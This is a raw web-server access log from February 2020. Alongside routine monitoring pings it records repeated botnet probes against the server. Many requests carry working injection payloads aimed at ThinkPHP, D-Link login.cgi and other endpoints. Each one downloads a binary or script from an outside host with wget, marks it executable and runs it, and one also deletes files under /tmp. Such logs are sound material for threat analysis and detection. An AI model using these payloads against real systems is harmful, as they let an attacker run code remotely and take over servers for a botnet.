5.101.0.209 - - [06/Feb/2020:12:15:24 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.93.149 - - [06/Feb/2020:12:16:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.101.0.209 - - [06/Feb/2020:12:16:19 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:12:16:36 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
1.55.23.189 - - [06/Feb/2020:12:16:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [06/Feb/2020:12:16:52 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [06/Feb/2020:12:17:42 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:17:50 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:18:21 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [06/Feb/2020:12:18:23 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.143.108 - - [06/Feb/2020:12:21:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.9.146 - - [06/Feb/2020:12:24:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.182.136.3 - - [06/Feb/2020:12:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.105.27.14 - - [06/Feb/2020:12:29:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:12:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [06/Feb/2020:12:29:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [06/Feb/2020:12:29:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [06/Feb/2020:12:29:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [06/Feb/2020:12:30:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.225.46.60 - - [06/Feb/2020:12:30:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.231.56.215 - - [06/Feb/2020:12:31:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.196.78.193 - - [06/Feb/2020:12:37:12 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [06/Feb/2020:12:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.177.125 - - [06/Feb/2020:12:37:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.237.155 - - [06/Feb/2020:12:39:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.103.244 - - [06/Feb/2020:12:40:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [06/Feb/2020:12:42:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [06/Feb/2020:12:42:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [06/Feb/2020:12:42:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [06/Feb/2020:12:43:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:12:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [06/Feb/2020:12:43:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [06/Feb/2020:12:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.154.223.197 - - [06/Feb/2020:12:46:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.16.37.162 - - [06/Feb/2020:12:48:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [06/Feb/2020:12:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:12:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.79.127.16 - - [06/Feb/2020:12:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.47.207.145 - - [06/Feb/2020:12:55:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [06/Feb/2020:12:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.214.254 - - [06/Feb/2020:12:56:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.61.0.93 - - [06/Feb/2020:12:56:39 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 339 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [06/Feb/2020:12:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.193.91.39 - - [06/Feb/2020:12:57:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.218.117.237 - - [06/Feb/2020:12:58:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:12:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [06/Feb/2020:13:02:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.247.192 - - [06/Feb/2020:13:09:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.193.54 - - [06/Feb/2020:13:10:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.210.18.224 - - [06/Feb/2020:13:10:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.113.210.146 - - [06/Feb/2020:13:11:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.16.148.204 - - [06/Feb/2020:13:11:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.43.169.182 - - [06/Feb/2020:13:12:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
212.91.246.72 - - [06/Feb/2020:13:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.137.201 - - [06/Feb/2020:13:13:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.81 - - [06/Feb/2020:13:14:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.212.232 - - [06/Feb/2020:13:14:47 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
80.26.154.92 - - [06/Feb/2020:13:14:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [06/Feb/2020:13:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:13:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.210.153 - - [06/Feb/2020:13:18:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.165.8.152 - - [06/Feb/2020:13:19:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.242.17.39 - - [06/Feb/2020:13:21:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.216 - - [06/Feb/2020:13:21:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:13:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.118.179.75 - - [06/Feb/2020:13:22:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
